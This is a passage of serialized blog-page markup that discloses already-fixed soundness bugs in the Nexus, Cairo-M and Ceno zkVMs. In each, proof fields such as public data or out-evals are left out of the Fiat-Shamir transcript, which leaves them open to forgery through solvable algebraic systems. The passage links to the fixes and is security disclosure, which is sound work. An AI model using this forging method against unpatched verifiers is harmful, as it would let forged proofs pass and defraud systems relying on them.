",{"type":23,"tag":94,"props":117012,"children":117014},{"className":117013},[],[117015],{"type":28,"value":114163},{"type":28,"value":117017},", the overall composition polynomial is linear in all ",{"type":23,"tag":94,"props":117019,"children":117021},{"className":117020},[],[117022],{"type":28,"value":114163},{"type":28,"value":117024}," values.",{"type":23,"tag":24,"props":117026,"children":117027},{},[117028,117030],{"type":28,"value":117029},"The verifier checks ",{"type":23,"tag":94,"props":117031,"children":117033},{"className":117032},[3237,3238],[117034],{"type":23,"tag":314,"props":117035,"children":117037},{"className":117036},[3243],[117038],{"type":23,"tag":314,"props":117039,"children":117041},{"className":117040,"ariaHidden":1481},[3248],[117042,117103],{"type":23,"tag":314,"props":117043,"children":117045},{"className":117044},[3253],[117046,117050,117055,117060,117070,117075,117085,117090,117094,117099],{"type":23,"tag":314,"props":117047,"children":117049},{"className":117048,"style":92241},[3258],[],{"type":23,"tag":314,"props":117051,"children":117053},{"className":117052,"style":21357},[3264,20825],[117054],{"type":28,"value":115528},{"type":23,"tag":314,"props":117056,"children":117058},{"className":117057},[20954],[117059],{"type":28,"value":341},{"type":23,"tag":314,"props":117061,"children":117063},{"className":117062},[3264,28],[117064],{"type":23,"tag":314,"props":117065,"children":117067},{"className":117066},[3264],[117068],{"type":28,"value":117069},"oods",{"type":23,"tag":314,"props":117071,"children":117073},{"className":117072,"style":92299},[3264],[117074],{"type":28,"value":2338},{"type":23,"tag":314,"props":117076,"children":117078},{"className":117077},[3264,28],[117079],{"type":23,"tag":314,"props":117080,"children":117082},{"className":117081},[3264],[117083],{"type":28,"value":117084},"point",{"type":23,"tag":314,"props":117086,"children":117088},{"className":117087},[20976],[117089],{"type":28,"value":431},{"type":23,"tag":314,"props":117091,"children":117093},{"className":117092,"style":3442},[3344],[],{"type":23,"tag":314,"props":117095,"children":117097},{"className":117096},[3447],[117098],{"type":28,"value":1102},{"type":23,"tag":314,"props":117100,"children":117102},{"className":117101,"style":3442},[3344],[],{"type":23,"tag":314,"props":117104,"children":117106},{"className":117105},[3253],[117107,117111],{"type":23,"tag":314,"props":117108,"children":117110},{"className":117109,"style":114354},[3258],[],{"type":23,"tag":314,"props":117112,"children":117114},{"className":117113},[3264,28],[117115],{"type":23,"tag":314,"props":117116,"children":117118},{"className":117117},[3264],[117119],{"type":28,"value":115853},{"type":23,"tag":24,"props":117121,"children":117122},{},[117123,117125,117130,117132,117137],{"type":28,"value":117124},"With ",{"type":23,"tag":94,"props":117126,"children":117128},{"className":117127},[],[117129],{"type":28,"value":114163},{"type":28,"value":117131}," not in transcript, the composition polynomial becomes a linear function of the ",{"type":23,"tag":94,"props":117133,"children":117135},{"className":117134},[],[117136],{"type":28,"value":114163},{"type":28,"value":117138}," values. Combined with the constraint that claimed sums must sum to zero, this is a small linear system that is easily solvable.",{"type":23,"tag":24,"props":117140,"children":117141},{},[117142,117146,117148],{"type":23,"tag":721,"props":117143,"children":117144},{},[117145],{"type":28,"value":116009},{"type":28,"value":117147}," Fixed on October 24, 2025 via ",{"type":23,"tag":31,"props":117149,"children":117152},{"href":117150,"rel":117151},"https://github.com/nexus-xyz/nexus-zkvm/pull/503",[35],[117153],{"type":28,"value":117154},"PR #503",{"type":23,"tag":18031,"props":117156,"children":117157},{},[],{"type":23,"tag":837,"props":117159,"children":117161},{"id":117160},"cairo-m-kakarot-labs",[117162],{"type":28,"value":117163},"Cairo-M (Kakarot Labs)",{"type":23,"tag":24,"props":117165,"children":117166},{},[117167],{"type":28,"value":117168},"Cairo-M, built by Kakarot Labs, is an alternative proof system for the Cairo VM (used by Starknet).",{"type":23,"tag":24,"props":117170,"children":117171},{},[117172],{"type":28,"value":117173},"Cairo-M is in many ways similar to Nexus. It uses logup to prove global statements about the execution.",{"type":23,"tag":24,"props":117175,"children":117176},{},[117177],{"type":23,"tag":721,"props":117178,"children":117179},{},[117180],{"type":28,"value":114715},{"type":23,"tag":304,"props":117182,"children":117184},{"code":117183},"Proof {\n claim: ComponentSizes,\n interaction_claim: LogupClaimsPerComponent,\n public_data: { // \u003C- VULNERABLE\n initial_registers: { pc, fp },\n final_registers: { pc, fp }, // \u003C- forged\n clock, // \u003C- forged\n initial_root, \n final_root, // \u003C- forged\n public_memory: { program, input, output }, //output modified\n },\n stark_proof: [...],\n}\n",[117185],{"type":23,"tag":94,"props":117186,"children":117187},{"__ignoreMap":7},[117188],{"type":28,"value":117183},{"type":23,"tag":24,"props":117190,"children":117191},{},[117192],{"type":23,"tag":721,"props":117193,"children":117194},{},[117195],{"type":28,"value":114731},{"type":23,"tag":24,"props":117197,"children":117198},{},[117199],{"type":23,"tag":197,"props":117200,"children":117203},{"alt":117201,"src":117202},"7_cairo_m_verification","/posts/zkvms-unfaithful-claims/7_cairo_m_verification.svg",[],{"type":23,"tag":24,"props":117205,"children":117206},{},[117207,117209,117215],{"type":28,"value":117208},"Lookup challenges are derived without ",{"type":23,"tag":94,"props":117210,"children":117212},{"className":117211},[],[117213],{"type":28,"value":117214},"public_data",{"type":28,"value":117216}," being mixed into the transcript.",{"type":23,"tag":24,"props":117218,"children":117219},{},[117220,117221,117226,117228,117233],{"type":28,"value":92},{"type":23,"tag":94,"props":117222,"children":117224},{"className":117223},[],[117225],{"type":28,"value":117214},{"type":28,"value":117227}," (program I/O, boundary registers, memory roots) enters the lookup relations inside ",{"type":23,"tag":186,"props":117229,"children":117230},{},[117231],{"type":28,"value":117232},"denominators",{"type":28,"value":117234}," through challenge-weighted encodings of tuples. Abstractly, the verifier checks a relation of the form:",{"type":23,"tag":24,"props":117236,"children":117237},{},[117238],{"type":23,"tag":94,"props":117239,"children":117241},{"className":117240},[3237,3238],[117242],{"type":23,"tag":314,"props":117243,"children":117245},{"className":117244},[3243],[117246],{"type":23,"tag":314,"props":117247,"children":117249},{"className":117248,"ariaHidden":1481},[3248],[117250,117310,117356,117402],{"type":23,"tag":314,"props":117251,"children":117253},{"className":117252},[3253],[117254,117258,117264,117269,117278,117283,117292,117297,117301,117306],{"type":23,"tag":314,"props":117255,"children":117257},{"className":117256,"style":92241},[3258],[],{"type":23,"tag":314,"props":117259,"children":117261},{"className":117260},[3264,20825],[117262],{"type":28,"value":117263},"L",{"type":23,"tag":314,"props":117265,"children":117267},{"className":117266},[20954],[117268],{"type":28,"value":341},{"type":23,"tag":314,"props":117270,"children":117272},{"className":117271},[3264,28],[117273],{"type":23,"tag":314,"props":117274,"children":117276},{"className":117275},[3264],[117277],{"type":28,"value":60927},{"type":23,"tag":314,"props":117279,"children":117281},{"className":117280,"style":92299},[3264],[117282],{"type":28,"value":2338},{"type":23,"tag":314,"props":117284,"children":117286},{"className":117285},[3264,28],[117287],{"type":23,"tag":314,"props":117288,"children":117290},{"className":117289},[3264],[117291],{"type":28,"value":249},{"type":23,"tag":314,"props":117293,"children":117295},{"className":117294},[20976],[117296],{"type":28,"value":431},{"type":23,"tag":314,"props":117298,"children":117300},{"className":117299,"style":3345},[3344],[],{"type":23,"tag":314,"props":117302,"children":117304},{"className":117303},[3350],[117305],{"type":28,"value":1130},{"type":23,"tag":314,"props":117307,"children":117309},{"className":117308,"style":3345},[3344],[],{"type":23,"tag":314,"props":117311,"children":117313},{"className":117312},[3253],[117314,117318,117328,117333,117343,117347,117352],{"type":23,"tag":314,"props":117315,"children":117317},{"className":117316,"style":92241},[3258],[],{"type":23,"tag":314,"props":117319,"children":117321},{"className":117320},[3264,28],[117322],{"type":23,"tag":314,"props":117323,"children":117325},{"className":117324},[3264],[117326],{"type":28,"value":117327},"(other transcript",{"type":23,"tag":314,"props":117329,"children":117331},{"className":117330,"style":92299},[3264],[117332],{"type":28,"value":2338},{"type":23,"tag":314,"props":117334,"children":117336},{"className":117335},[3264,28],[117337],{"type":23,"tag":314,"props":117338,"children":117340},{"className":117339},[3264],[117341],{"type":28,"value":117342},"bound terms)",{"type":23,"tag":314,"props":117344,"children":117346},{"className":117345,"style":3442},[3344],[],{"type":23,"tag":314,"props":117348,"children":117350},{"className":117349},[3447],[117351],{"type":28,"value":1102},{"type":23,"tag":314,"props":117353,"children":117355},{"className":117354,"style":3442},[3344],[],{"type":23,"tag":314,"props":117357,"children":117359},{"className":117358},[3253],[117360,117365,117370,117375,117380,117384,117389,117393,117398],{"type":23,"tag":314,"props":117361,"children":117364},{"className":117362,"style":117363},[3258],"height:0.8778em;vertical-align:-0.1944em;",[],{"type":23,"tag":314,"props":117366,"children":117368},{"className":117367},[3264],[117369],{"type":28,"value":1600},{"type":23,"tag":314,"props":117371,"children":117373},{"className":117372},[3376],[117374],{"type":28,"value":3379},{"type":23,"tag":314,"props":117376,"children":117379},{"className":117377,"style":117378},[3344],"margin-right:2em;",[],{"type":23,"tag":314,"props":117381,"children":117383},{"className":117382,"style":3383},[3344],[],{"type":23,"tag":314,"props":117385,"children":117387},{"className":117386},[3264,20825],[117388],{"type":28,"value":117263},{"type":23,"tag":314,"props":117390,"children":117392},{"className":117391,"style":3442},[3344],[],{"type":23,"tag":314,"props":117394,"children":117396},{"className":117395},[3447],[117397],{"type":28,"value":1102},{"type":23,"tag":314,"props":117399,"children":117401},{"className":117400,"style":3442},[3344],[],{"type":23,"tag":314,"props":117403,"children":117405},{"className":117404},[3253],[117406,117411,117468,117472,117690],{"type":23,"tag":314,"props":117407,"children":117410},{"className":117408,"style":117409},[3258],"height:1.4071em;vertical-align:-0.562em;",[],{"type":23,"tag":314,"props":117412,"children":117414},{"className":117413},[20861],[117415,117420],{"type":23,"tag":314,"props":117416,"children":117418},{"className":117417,"style":20868},[20861,20866,20867],[117419],{"type":28,"value":108094},{"type":23,"tag":314,"props":117421,"children":117423},{"className":117422},[3280],[117424],{"type":23,"tag":314,"props":117425,"children":117427},{"className":117426},[3285,20879],[117428,117457],{"type":23,"tag":314,"props":117429,"children":117431},{"className":117430},[3290],[117432,117452],{"type":23,"tag":314,"props":117433,"children":117435},{"className":117434,"style":113506},[3295],[117436],{"type":23,"tag":314,"props":117437,"children":117438},{"style":20892},[117439,117443],{"type":23,"tag":314,"props":117440,"children":117442},{"className":117441,"style":3305},[3304],[],{"type":23,"tag":314,"props":117444,"children":117446},{"className":117445},[3310,3311,3312,3313],[117447],{"type":23,"tag":314,"props":117448,"children":117450},{"className":117449},[3264,20825,3313],[117451],{"type":28,"value":2993},{"type":23,"tag":314,"props":117453,"children":117455},{"className":117454},[20982],[117456],{"type":28,"value":20985},{"type":23,"tag":314,"props":117458,"children":117460},{"className":117459},[3290],[117461],{"type":23,"tag":314,"props":117462,"children":117464},{"className":117463,"style":113786},[3295],[117465],{"type":23,"tag":314,"props":117466,"children":117467},{},[],{"type":23,"tag":314,"props":117469,"children":117471},{"className":117470,"style":3383},[3344],[],{"type":23,"tag":314,"props":117473,"children":117475},{"className":117474},[3264],[117476,117480,117686],{"type":23,"tag":314,"props":117477,"children":117479},{"className":117478},[20954,112817],[],{"type":23,"tag":314,"props":117481,"children":117483},{"className":117482},[112822],[117484],{"type":23,"tag":314,"props":117485,"children":117487},{"className":117486},[3285,20879],[117488,117674],{"type":23,"tag":314,"props":117489,"children":117491},{"className":117490},[3290],[117492,117669],{"type":23,"tag":314,"props":117493,"children":117495},{"className":117494,"style":112835},[3295],[117496,117638,117649],{"type":23,"tag":314,"props":117497,"children":117498},{"style":112839},[117499,117503],{"type":23,"tag":314,"props":117500,"children":117502},{"className":117501,"style":111470},[3304],[],{"type":23,"tag":314,"props":117504,"children":117506},{"className":117505},[3310,3311,3312,3313],[117507],{"type":23,"tag":314,"props":117508,"children":117510},{"className":117509},[3264,3313],[117511,117516,117521,117527,117532,117537,117594,117599,117608,117613,117622,117628,117633],{"type":23,"tag":314,"props":117512,"children":117514},{"className":117513,"style":112856},[3264,20825,3313],[117515],{"type":28,"value":112859},{"type":23,"tag":314,"props":117517,"children":117519},{"className":117518},[3350,3313],[117520],{"type":28,"value":1130},{"type":23,"tag":314,"props":117522,"children":117524},{"className":117523},[20954,3313],[117525],{"type":28,"value":117526},"⟨",{"type":23,"tag":314,"props":117528,"children":117530},{"className":117529,"style":114387},[3264,20825,3313],[117531],{"type":28,"value":114390},{"type":23,"tag":314,"props":117533,"children":117535},{"className":117534},[3376,3313],[117536],{"type":28,"value":3379},{"type":23,"tag":314,"props":117538,"children":117540},{"className":117539},[3264,3313],[117541,117546],{"type":23,"tag":314,"props":117542,"children":117544},{"className":117543},[3264,20825,3313],[117545],{"type":28,"value":20967},{"type":23,"tag":314,"props":117547,"children":117549},{"className":117548},[3280],[117550],{"type":23,"tag":314,"props":117551,"children":117553},{"className":117552},[3285,20879],[117554,117583],{"type":23,"tag":314,"props":117555,"children":117557},{"className":117556},[3290],[117558,117578],{"type":23,"tag":314,"props":117559,"children":117561},{"className":117560,"style":113623},[3295],[117562],{"type":23,"tag":314,"props":117563,"children":117564},{"style":108154},[117565,117569],{"type":23,"tag":314,"props":117566,"children":117568},{"className":117567,"style":108159},[3304],[],{"type":23,"tag":314,"props":117570,"children":117572},{"className":117571},[3310,108164,108165,3313],[117573],{"type":23,"tag":314,"props":117574,"children":117576},{"className":117575},[3264,20825,3313],[117577],{"type":28,"value":2993},{"type":23,"tag":314,"props":117579,"children":117581},{"className":117580},[20982],[117582],{"type":28,"value":20985},{"type":23,"tag":314,"props":117584,"children":117586},{"className":117585},[3290],[117587],{"type":23,"tag":314,"props":117588,"children":117590},{"className":117589,"style":108184},[3295],[117591],{"type":23,"tag":314,"props":117592,"children":117593},{},[],{"type":23,"tag":314,"props":117595,"children":117597},{"className":117596},[20954,3313],[117598],{"type":28,"value":341},{"type":23,"tag":314,"props":117600,"children":117602},{"className":117601},[3264,28,3313],[117603],{"type":23,"tag":314,"props":117604,"children":117606},{"className":117605},[3264,3313],[117607],{"type":28,"value":60927},{"type":23,"tag":314,"props":117609,"children":117611},{"className":117610,"style":92299},[3264,3313],[117612],{"type":28,"value":2338},{"type":23,"tag":314,"props":117614,"children":117616},{"className":117615},[3264,28,3313],[117617],{"type":23,"tag":314,"props":117618,"children":117620},{"className":117619},[3264,3313],[117621],{"type":28,"value":249},{"type":23,"tag":314,"props":117623,"children":117625},{"className":117624},[20976,3313],[117626],{"type":28,"value":117627},")⟩",{"type":23,"tag":314,"props":117629,"children":117631},{"className":117630},[3350,3313],[117632],{"type":28,"value":1130},{"type":23,"tag":314,"props":117634,"children":117636},{"className":117635,"style":114442},[3264,20825,3313],[117637],{"type":28,"value":114445},{"type":23,"tag":314,"props":117639,"children":117640},{"style":112872},[117641,117645],{"type":23,"tag":314,"props":117642,"children":117644},{"className":117643,"style":111470},[3304],[],{"type":23,"tag":314,"props":117646,"children":117648},{"className":117647,"style":112882},[112881],[],{"type":23,"tag":314,"props":117650,"children":117651},{"style":112886},[117652,117656],{"type":23,"tag":314,"props":117653,"children":117655},{"className":117654,"style":111470},[3304],[],{"type":23,"tag":314,"props":117657,"children":117659},{"className":117658},[3310,3311,3312,3313],[117660],{"type":23,"tag":314,"props":117661,"children":117663},{"className":117662},[3264,3313],[117664],{"type":23,"tag":314,"props":117665,"children":117667},{"className":117666},[3264,3313],[117668],{"type":28,"value":3267},{"type":23,"tag":314,"props":117670,"children":117672},{"className":117671},[20982],[117673],{"type":28,"value":20985},{"type":23,"tag":314,"props":117675,"children":117677},{"className":117676},[3290],[117678],{"type":23,"tag":314,"props":117679,"children":117682},{"className":117680,"style":117681},[3295],"height:0.562em;",[117683],{"type":23,"tag":314,"props":117684,"children":117685},{},[],{"type":23,"tag":314,"props":117687,"children":117689},{"className":117688},[20976,112817],[],{"type":23,"tag":314,"props":117691,"children":117693},{"className":117692},[3264],[117694],{"type":28,"value":282},{"type":23,"tag":24,"props":117696,"children":117697},{},[117698,117700],{"type":28,"value":117699},"The global check is then that ",{"type":23,"tag":94,"props":117701,"children":117703},{"className":117702},[3237,3238],[117704],{"type":23,"tag":314,"props":117705,"children":117707},{"className":117706},[3243],[117708],{"type":23,"tag":314,"props":117709,"children":117711},{"className":117710,"ariaHidden":1481},[3248],[117712,117753,117784],{"type":23,"tag":314,"props":117713,"children":117715},{"className":117714},[3253],[117716,117720,117725,117730,117735,117740,117744,117749],{"type":23,"tag":314,"props":117717,"children":117719},{"className":117718,"style":3365},[3258],[],{"type":23,"tag":314,"props":117721,"children":117723},{"className":117722},[3264,20825],[117724],{"type":28,"value":117263},{"type":23,"tag":314,"props":117726,"children":117728},{"className":117727},[20954],[117729],{"type":28,"value":341},{"type":23,"tag":314,"props":117731,"children":117733},{"className":117732},[3264,20825],[117734],{"type":28,"value":24},{"type":23,"tag":314,"props":117736,"children":117738},{"className":117737},[20976],[117739],{"type":28,"value":431},{"type":23,"tag":314,"props":117741,"children":117743},{"className":117742,"style":3345},[3344],[],{"type":23,"tag":314,"props":117745,"children":117747},{"className":117746},[3350],[117748],{"type":28,"value":1130},{"type":23,"tag":314,"props":117750,"children":117752},{"className":117751,"style":3345},[3344],[],{"type":23,"tag":314,"props":117754,"children":117756},{"className":117755},[3253],[117757,117761,117771,117775,117780],{"type":23,"tag":314,"props":117758,"children":117760},{"className":117759,"style":3365},[3258],[],{"type":23,"tag":314,"props":117762,"children":117764},{"className":117763},[3264,28],[117765],{"type":23,"tag":314,"props":117766,"children":117768},{"className":117767},[3264],[117769],{"type":28,"value":117770},"(other terms)",{"type":23,"tag":314,"props":117772,"children":117774},{"className":117773,"style":3442},[3344],[],{"type":23,"tag":314,"props":117776,"children":117778},{"className":117777},[3447],[117779],{"type":28,"value":1102},{"type":23,"tag":314,"props":117781,"children":117783},{"className":117782,"style":3442},[3344],[],{"type":23,"tag":314,"props":117785,"children":117787},{"className":117786},[3253],[117788,117792],{"type":23,"tag":314,"props":117789,"children":117791},{"className":117790,"style":93330},[3258],[],{"type":23,"tag":314,"props":117793,"children":117795},{"className":117794},[3264],[117796],{"type":28,"value":1600},{"type":23,"tag":24,"props":117798,"children":117799},{},[117800],{"type":28,"value":117801},"With challenges fixed, this is a rational equation in public data. This is not linear, but still algebraically solvable.",{"type":23,"tag":24,"props":117803,"children":117804},{},[117805],{"type":28,"value":117806},"Public-data coordinates participate in verification relations through extension-field arithmetic (including extension-valued public-memory entries), so the forged-parameter search is a coupled extension-field system.",{"type":23,"tag":24,"props":117808,"children":117809},{},[117810,117814,117816],{"type":23,"tag":721,"props":117811,"children":117812},{},[117813],{"type":28,"value":116009},{"type":28,"value":117815}," Fixed on October 31, 2025 via ",{"type":23,"tag":31,"props":117817,"children":117820},{"href":117818,"rel":117819},"https://github.com/kkrt-labs/cairo-m/pull/352/commits/92b6740937e904e0002e7ee099fec357127c1d16",[35],[117821],{"type":28,"value":117822},"commit 92b6740",{"type":23,"tag":18031,"props":117824,"children":117825},{},[],{"type":23,"tag":837,"props":117827,"children":117829},{"id":117828},"ceno-scroll",[117830],{"type":28,"value":117831},"Ceno (Scroll)",{"type":23,"tag":24,"props":117833,"children":117834},{},[117835],{"type":28,"value":117836},"Ceno is a zkVM by Scroll, using GKR with a tower sumcheck structure.",{"type":23,"tag":24,"props":117838,"children":117839},{},[117840,117842,117847],{"type":28,"value":117841},"Ceno splits verification into ",{"type":23,"tag":721,"props":117843,"children":117844},{},[117845],{"type":28,"value":117846},"chips",{"type":28,"value":117848},", with one per opcode or lookup table. Each chip proves its constraints independently.",{"type":23,"tag":24,"props":117850,"children":117851},{},[117852,117854,117859],{"type":28,"value":117853},"Many per-record values (reads, writes, lookups) are batched into a binary tree structure. Each layer folds pairs of values with random challenges; this is the ",{"type":23,"tag":721,"props":117855,"children":117856},{},[117857],{"type":28,"value":117858},"tower sumcheck",{"type":28,"value":282},{"type":23,"tag":24,"props":117861,"children":117862},{},[117863],{"type":28,"value":117864},"All read records must match all write records (plus initial/final state). This is checked via a multiset equality, this time using a product instead of logup:",{"type":23,"tag":24,"props":117866,"children":117867},{},[117868],{"type":23,"tag":94,"props":117869,"children":117871},{"className":117870},[3237,3238],[117872],{"type":23,"tag":314,"props":117873,"children":117875},{"className":117874},[3243],[117876],{"type":23,"tag":314,"props":117877,"children":117879},{"className":117878,"ariaHidden":1481},[3248],[117880,118054,118227],{"type":23,"tag":314,"props":117881,"children":117883},{"className":117882},[3253],[117884,117888,117946,117950,117959,117964,117974,117979,118041,118045,118050],{"type":23,"tag":314,"props":117885,"children":117887},{"className":117886,"style":92241},[3258],[],{"type":23,"tag":314,"props":117889,"children":117891},{"className":117890},[20861],[117892,117898],{"type":23,"tag":314,"props":117893,"children":117895},{"className":117894,"style":20868},[20861,20866,20867],[117896],{"type":28,"value":117897},"∏",{"type":23,"tag":314,"props":117899,"children":117901},{"className":117900},[3280],[117902],{"type":23,"tag":314,"props":117903,"children":117905},{"className":117904},[3285,20879],[117906,117935],{"type":23,"tag":314,"props":117907,"children":117909},{"className":117908},[3290],[117910,117930],{"type":23,"tag":314,"props":117911,"children":117913},{"className":117912,"style":113506},[3295],[117914],{"type":23,"tag":314,"props":117915,"children":117916},{"style":20892},[117917,117921],{"type":23,"tag":314,"props":117918,"children":117920},{"className":117919,"style":3305},[3304],[],{"type":23,"tag":314,"props":117922,"children":117924},{"className":117923},[3310,3311,3312,3313],[117925],{"type":23,"tag":314,"props":117926,"children":117928},{"className":117927},[3264,20825,3313],[117929],{"type":28,"value":2993},{"type":23,"tag":314,"props":117931,"children":117933},{"className":117932},[20982],[117934],{"type":28,"value":20985},{"type":23,"tag":314,"props":117936,"children":117938},{"className":117937},[3290],[117939],{"type":23,"tag":314,"props":117940,"children":117942},{"className":117941,"style":113786},[3295],[117943],{"type":23,"tag":314,"props":117944,"children":117945},{},[],{"type":23,"tag":314,"props":117947,"children":117949},{"className":117948,"style":3383},[3344],[],{"type":23,"tag":314,"props":117951,"children":117953},{"className":117952},[3264,28],[117954],{"type":23,"tag":314,"props":117955,"children":117957},{"className":117956},[3264],[117958],{"type":28,"value":93118},{"type":23,"tag":314,"props":117960,"children":117962},{"className":117961,"style":92299},[3264],[117963],{"type":28,"value":2338},{"type":23,"tag":314,"props":117965,"children":117967},{"className":117966},[3264,28],[117968],{"type":23,"tag":314,"props":117969,"children":117971},{"className":117970},[3264],[117972],{"type":28,"value":117973},"out",{"type":23,"tag":314,"props":117975,"children":117977},{"className":117976,"style":92299},[3264],[117978],{"type":28,"value":2338},{"type":23,"tag":314,"props":117980,"children":117982},{"className":117981},[3264],[117983,117993],{"type":23,"tag":314,"props":117984,"children":117986},{"className":117985},[3264,28],[117987],{"type":23,"tag":314,"props":117988,"children":117990},{"className":117989},[3264],[117991],{"type":28,"value":117992},"evals",{"type":23,"tag":314,"props":117994,"children":117996},{"className":117995},[3280],[117997],{"type":23,"tag":314,"props":117998,"children":118000},{"className":117999},[3285,20879],[118001,118030],{"type":23,"tag":314,"props":118002,"children":118004},{"className":118003},[3290],[118005,118025],{"type":23,"tag":314,"props":118006,"children":118008},{"className":118007,"style":92828},[3295],[118009],{"type":23,"tag":314,"props":118010,"children":118011},{"style":113429},[118012,118016],{"type":23,"tag":314,"props":118013,"children":118015},{"className":118014,"style":3305},[3304],[],{"type":23,"tag":314,"props":118017,"children":118019},{"className":118018},[3310,3311,3312,3313],[118020],{"type":23,"tag":314,"props":118021,"children":118023},{"className":118022},[3264,20825,3313],[118024],{"type":28,"value":2993},{"type":23,"tag":314,"props":118026,"children":118028},{"className":118027},[20982],[118029],{"type":28,"value":20985},{"type":23,"tag":314,"props":118031,"children":118033},{"className":118032},[3290],[118034],{"type":23,"tag":314,"props":118035,"children":118037},{"className":118036,"style":92382},[3295],[118038],{"type":23,"tag":314,"props":118039,"children":118040},{},[],{"type":23,"tag":314,"props":118042,"children":118044},{"className":118043,"style":3442},[3344],[],{"type":23,"tag":314,"props":118046,"children":118048},{"className":118047},[3447],[118049],{"type":28,"value":1102},{"type":23,"tag":314,"props":118051,"children":118053},{"className":118052,"style":3442},[3344],[],{"type":23,"tag":314,"props":118055,"children":118057},{"className":118056},[3253],[118058,118063,118120,118124,118133,118138,118147,118152,118214,118218,118223],{"type":23,"tag":314,"props":118059,"children":118062},{"className":118060,"style":118061},[3258],"height:1.1858em;vertical-align:-0.4358em;",[],{"type":23,"tag":314,"props":118064,"children":118066},{"className":118065},[20861],[118067,118072],{"type":23,"tag":314,"props":118068,"children":118070},{"className":118069,"style":20868},[20861,20866,20867],[118071],{"type":28,"value":117897},{"type":23,"tag":314,"props":118073,"children":118075},{"className":118074},[3280],[118076],{"type":23,"tag":314,"props":118077,"children":118079},{"className":118078},[3285,20879],[118080,118109],{"type":23,"tag":314,"props":118081,"children":118083},{"className":118082},[3290],[118084,118104],{"type":23,"tag":314,"props":118085,"children":118087},{"className":118086,"style":113506},[3295],[118088],{"type":23,"tag":314,"props":118089,"children":118090},{"style":20892},[118091,118095],{"type":23,"tag":314,"props":118092,"children":118094},{"className":118093,"style":3305},[3304],[],{"type":23,"tag":314,"props":118096,"children":118098},{"className":118097},[3310,3311,3312,3313],[118099],{"type":23,"tag":314,"props":118100,"children":118102},{"className":118101,"style":113522},[3264,20825,3313],[118103],{"type":28,"value":7909},{"type":23,"tag":314,"props":118105,"children":118107},{"className":118106},[20982],[118108],{"type":28,"value":20985},{"type":23,"tag":314,"props":118110,"children":118112},{"className":118111},[3290],[118113],{"type":23,"tag":314,"props":118114,"children":118116},{"className":118115,"style":113537},[3295],[118117],{"type":23,"tag":314,"props":118118,"children":118119},{},[],{"type":23,"tag":314,"props":118121,"children":118123},{"className":118122,"style":3383},[3344],[],{"type":23,"tag":314,"props":118125,"children":118127},{"className":118126},[3264,28],[118128],{"type":23,"tag":314,"props":118129,"children":118131},{"className":118130},[3264],[118132],{"type":28,"value":48822},{"type":23,"tag":314,"props":118134,"children":118136},{"className":118135,"style":92299},[3264],[118137],{"type":28,"value":2338},{"type":23,"tag":314,"props":118139,"children":118141},{"className":118140},[3264,28],[118142],{"type":23,"tag":314,"props":118143,"children":118145},{"className":118144},[3264],[118146],{"type":28,"value":117973},{"type":23,"tag":314,"props":118148,"children":118150},{"className":118149,"style":92299},[3264],[118151],{"type":28,"value":2338},{"type":23,"tag":314,"props":118153,"children":118155},{"className":118154},[3264],[118156,118165],{"type":23,"tag":314,"props":118157,"children":118159},{"className":118158},[3264,28],[118160],{"type":23,"tag":314,"props":118161,"children":118163},{"className":118162},[3264],[118164],{"type":28,"value":117992},{"type":23,"tag":314,"props":118166,"children":118168},{"className":118167},[3280],[118169],{"type":23,"tag":314,"props":118170,"children":118172},{"className":118171},[3285,20879],[118173,118202],{"type":23,"tag":314,"props":118174,"children":118176},{"className":118175},[3290],[118177,118197],{"type":23,"tag":314,"props":118178,"children":118180},{"className":118179,"style":92828},[3295],[118181],{"type":23,"tag":314,"props":118182,"children":118183},{"style":113429},[118184,118188],{"type":23,"tag":314,"props":118185,"children":118187},{"className":118186,"style":3305},[3304],[],{"type":23,"tag":314,"props":118189,"children":118191},{"className":118190},[3310,3311,3312,3313],[118192],{"type":23,"tag":314,"props":118193,"children":118195},{"className":118194,"style":113522},[3264,20825,3313],[118196],{"type":28,"value":7909},{"type":23,"tag":314,"props":118198,"children":118200},{"className":118199},[20982],[118201],{"type":28,"value":20985},{"type":23,"tag":314,"props":118203,"children":118205},{"className":118204},[3290],[118206],{"type":23,"tag":314,"props":118207,"children":118210},{"className":118208,"style":118209},[3295],"height:0.2861em;",[118211],{"type":23,"tag":314,"props":118212,"children":118213},{},[],{"type":23,"tag":314,"props":118215,"children":118217},{"className":118216,"style":3345},[3344],[],{"type":23,"tag":314,"props":118219,"children":118221},{"className":118220},[3350],[118222],{"type":28,"value":110561},{"type":23,"tag":314,"props":118224,"children":118226},{"className":118225,"style":3345},[3344],[],{"type":23,"tag":314,"props":118228,"children":118230},{"className":118229},[3253],[118231,118235,118240,118250],{"type":23,"tag":314,"props":118232,"children":118234},{"className":118233,"style":3365},[3258],[],{"type":23,"tag":314,"props":118236,"children":118238},{"className":118237},[20954],[118239],{"type":28,"value":341},{"type":23,"tag":314,"props":118241,"children":118243},{"className":118242},[3264,28],[118244],{"type":23,"tag":314,"props":118245,"children":118247},{"className":118246},[3264],[118248],{"type":28,"value":118249},"state factors",{"type":23,"tag":314,"props":118251,"children":118253},{"className":118252},[20976],[118254],{"type":28,"value":431},{"type":23,"tag":24,"props":118256,"children":118257},{},[118258],{"type":23,"tag":721,"props":118259,"children":118260},{},[118261],{"type":28,"value":114715},{"type":23,"tag":304,"props":118263,"children":118265},{"code":118264},"ZKVMChipProof {\n r_out_evals: [[FieldElement]], // \u003C- VULNERABLE\n w_out_evals: [[FieldElement]], // \u003C- VULNERABLE\n lk_out_evals: [[FieldElement]], // \u003C- VULNERABLE\n tower_proof: [...],\n gkr_iop_proof: [...],\n}\n",[118266],{"type":23,"tag":94,"props":118267,"children":118268},{"__ignoreMap":7},[118269],{"type":28,"value":118264},{"type":23,"tag":24,"props":118271,"children":118272},{},[118273,118279,118280,118286,118287,118293],{"type":23,"tag":94,"props":118274,"children":118276},{"className":118275},[],[118277],{"type":28,"value":118278},"r_out_evals",{"type":28,"value":778},{"type":23,"tag":94,"props":118281,"children":118283},{"className":118282},[],[118284],{"type":28,"value":118285},"w_out_evals",{"type":28,"value":5743},{"type":23,"tag":94,"props":118288,"children":118290},{"className":118289},[],[118291],{"type":28,"value":118292},"lk_out_evals",{"type":28,"value":118294}," are used to initialize the tower sumcheck claim, but they're never absorbed into the transcript. This leaves us with two equations:",{"type":23,"tag":84,"props":118296,"children":118297},{},[118298],{"type":23,"tag":88,"props":118299,"children":118300},{},[118301,118306,118308,118314],{"type":23,"tag":721,"props":118302,"children":118303},{},[118304],{"type":28,"value":118305},"GKR/Tower equation",{"type":28,"value":118307}," (linear in 